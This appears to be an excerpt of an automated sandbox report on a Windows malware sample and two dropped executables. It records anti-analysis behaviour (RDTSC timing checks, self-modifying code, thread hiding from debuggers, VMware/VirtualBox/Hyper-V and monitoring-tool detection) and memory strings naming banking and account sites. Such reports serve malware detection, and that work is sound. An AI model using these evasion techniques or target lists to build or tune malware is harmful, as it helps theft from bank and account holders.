Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500B97 second address: 5500BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFCC8E1B144h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500BAF second address: 5500BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007EFD3A8FFC56h 0x0000000e jmp 00007EFCC8D6A387h 0x00000013 xchg eax, esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov dx, si 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500BDB second address: 5500BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500BDF second address: 5500C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007EFCC8D6A37Ch 0x0000000c sub cx, 8808h 0x00000011 jmp 00007EFCC8D6A37Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a mov ebx, 4665EBAAh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007EFCC8D6A381h 0x00000027 jmp 00007EFCC8D6A37Bh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500C7F second address: 5500C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500C83 second address: 5500C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500C89 second address: 5500C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 5500C8F second address: 5500C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6960A4 second address: 6960A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6960A8 second address: 6960C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007EFCC8D6A382h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69DCF4 second address: 69DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007EFCC8E1B13Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69DD11 second address: 69DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007EFCC8D6A376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69DD1B second address: 69DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69DD21 second address: 69DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69DD27 second address: 69DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E122 second address: 69E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A381h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E137 second address: 69E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFCC8E1B13Dh 0x0000000b jmp 00007EFCC8E1B143h 0x00000010 jmp 00007EFCC8E1B149h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007EFCC8E1B140h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E18F second address: 69E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E193 second address: 69E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E44A second address: 69E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E44E second address: 69E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007EFCC8E1B136h 0x00000008 jmp 00007EFCC8E1B146h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E46E second address: 69E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E474 second address: 69E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E478 second address: 69E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007EFCC8D6A382h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E494 second address: 69E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E498 second address: 69E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E5D8 second address: 69E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007EFCC8E1B141h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E5EF second address: 69E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E5FA second address: 69E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFCC8E1B136h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007EFCC8E1B13Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007EFCC8E1B13Fh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E628 second address: 69E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007EFCC8D6A386h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E644 second address: 69E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E64A second address: 69E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFCC8D6A376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 69E654 second address: 69E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C40 second address: 6A0C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C46 second address: 6A0C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C4A second address: 6A0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007EFCC8D6A376h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C5E second address: 6A0C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C64 second address: 6A0C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFCC8D6A37Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C6E second address: 6A0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C7D second address: 6A0C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0C81 second address: 6A0C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0D26 second address: 6A0D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0E7D second address: 6A0EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007EFCC8E1B140h 0x0000000c jmp 00007EFCC8E1B13Ah 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007EFCC8E1B13Ch 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007EFCC8E1B136h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0EAE second address: 6A0EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0EB8 second address: 6A0EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B143h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0EDA second address: 6A0EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	RDTSC instruction interceptor: First address: 6A0EF2 second address: 6A0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Special instruction interceptor: First address: 1007ABB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Special instruction interceptor: First address: 11CD873 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Special instruction interceptor: First address: 1239FCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Special instruction interceptor: First address: 117FC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Special instruction interceptor: First address: 117FB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Special instruction interceptor: First address: 117D6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Special instruction interceptor: First address: 1355D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Special instruction interceptor: First address: 523CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Special instruction interceptor: First address: 523368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Memory allocated: 4E20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Memory allocated: 6EA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Code function: 7_2_0069E803 rdtsc

7_2_0069E803

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Code function: 7_2_006B425C sidt fword ptr [esp-02h]

7_2_006B425C

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe TID: 8124	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe TID: 7408	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: IC79VITF07QUR284C1B5QWCEACP3.exe, IC79VITF07QUR284C1B5QWCEACP3.exe, 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, ER7BQPWQ4HBBERO2A4ZIZ5.exe, ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698822982.000000000130B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: U8mbM8r793.exe, U8mbM8r793.exe, 00000004.00000003.1428969410.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429534834.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1471087937.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1336105471.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.0000000000806000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaresh
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696501413p
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.0000000000806000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$)v
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: IC79VITF07QUR284C1B5QWCEACP3.exe, 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1698822982.000000000130B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: U8mbM8r793.exe, 00000004.00000003.1359130722.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\U8mbM8r793.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Code function: 7_2_0069E142 Start: 0069E199 End: 0069E193

7_2_0069E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
